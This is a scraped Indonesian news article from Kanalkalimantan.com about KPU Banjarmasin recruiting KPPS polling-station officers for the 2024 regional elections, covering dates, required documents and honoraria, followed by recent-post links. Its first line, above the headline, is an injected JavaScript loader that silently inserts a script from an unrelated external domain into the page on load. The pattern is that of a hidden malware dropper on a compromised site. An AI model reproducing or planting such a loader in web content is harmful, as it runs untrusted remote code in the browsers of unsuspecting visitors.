(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPU Banjarmasin Buka Pendaftaran Anggota KPPS Pilkada 2024, Ini Besaran Honornya


KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemilihan Umum (KPU) Kota Banjarmasin kembali melaku perekrutan anggota Kelompok Penyelenggara Pemungutan Suara (KPPS).

Petugas KPPS yang direkrut akan bertugas pada Pilkada (Pemilihan Kepala Daerah) Serentak 2024.

Masa kerja KPPS Pilkada Serentak selama sebulan dari tanggal 7 November sampai 8 Desember 2024.

Penerimaan berkas pendaftaran calon anggota KPPS dibuka selama 12 hari sejak tanggal 17 September sampai dengan 28 September 2024.

Baca juga: 820 Kotak Suara Masuk Gudang Logistik KPU Banjarbaru

Berkas pendaftaran diserahkan kepada Panita Pemungutan Suara (PPS) yang ada di setiap kelurahan setempat setiap hari kerja.

Ketua KPU Banjarmasin Rusnailah mengatakan, anggota KPPS yang direkrut pada Pilkada 2024 jumlahnya sebanyak 6.755 orang. Dimana setiap TPS akan disi oleh 7 orang anggota KPPS.

Jumlah itu berkurang jika dibandingkan dengan Pileg dan Pilpres 2024. Hal itu dikarenakan jumlah pemilih per TPS mengalami penambahan menjadi maksimal 600 orang per TPS.

“Sedangkan saat Pileg dan Pilpres 300 orang, sehingga terjadi pengurangan jumlah TPS dari 1.940 menjadi 965,” ungkap Ketua KPU Banjarmasin, Selasa (17/9/2024).

Adapun kelengkapan dokumen yang perlu disiapkan calon pendaftar, diantaranya surat pendaftaran KPPS, fotokopi KTP, fotokopi Ijazah sekolah menengah atas/sederajat atau ijazah terkahir, surat pernyataan dalam satu dokumen.

Baca juga: Kolaborasi Vocal Ampar-ampar Pisang dengan Tarian di Parade Senja Balai Kota Banjarbaru

Kemudin daftar riwayat hidup, pas foto 4×6 (1 lembar), surat keterangan sehat dari fasilitas kesehatan setempat (termasuk didalamnya pemeriksaan tekanan darah, kadar gula darah, dan kolesterol).

Bagi calon pelamar yang pernah dan saat ini tidak lagi menjadi anggota partai politik paling singkat 5 tahun, juga diharuskan melampirkan surat dari partai politik bersangkutan.

Contoh surat pendaftaran, surat pernyataan, dan riwayat hidup dapat diakses melalui https://bit.ly/BERKAS_DAFTAR_KPPS

Mereka yang diterima dan bertugas sebagai KPPS pada Pilkada 2024 bakal mendapat honor.

Berdasarkan Surat Kemenkeu Nomor S-647/MK.02/2022, tentang Satuan Biaya Masukan Lainnya (SBML) untuk Tahapan pemilihan Umum dan Tahapan Pemilihan.

Baca juga: 820 Kotak Suara Masuk Gudang Logistik KPU Banjarbaru

Untuk anggota KPPS akan mendapatkan honor dengan masa kerja satu bulan sebesar Rp850 ribu.

Sedangkan untuk honor Ketua KPPS lebih tinggi Rp50 ribu yaitu sebesar Rp900 ribu

Sementara gaji Petugas Keamanan TPS atau Satlinmas adalah Rp650 ribu.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

43 menit ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

2 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

2 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

4 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

20 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

22 jam ago

This website uses cookies.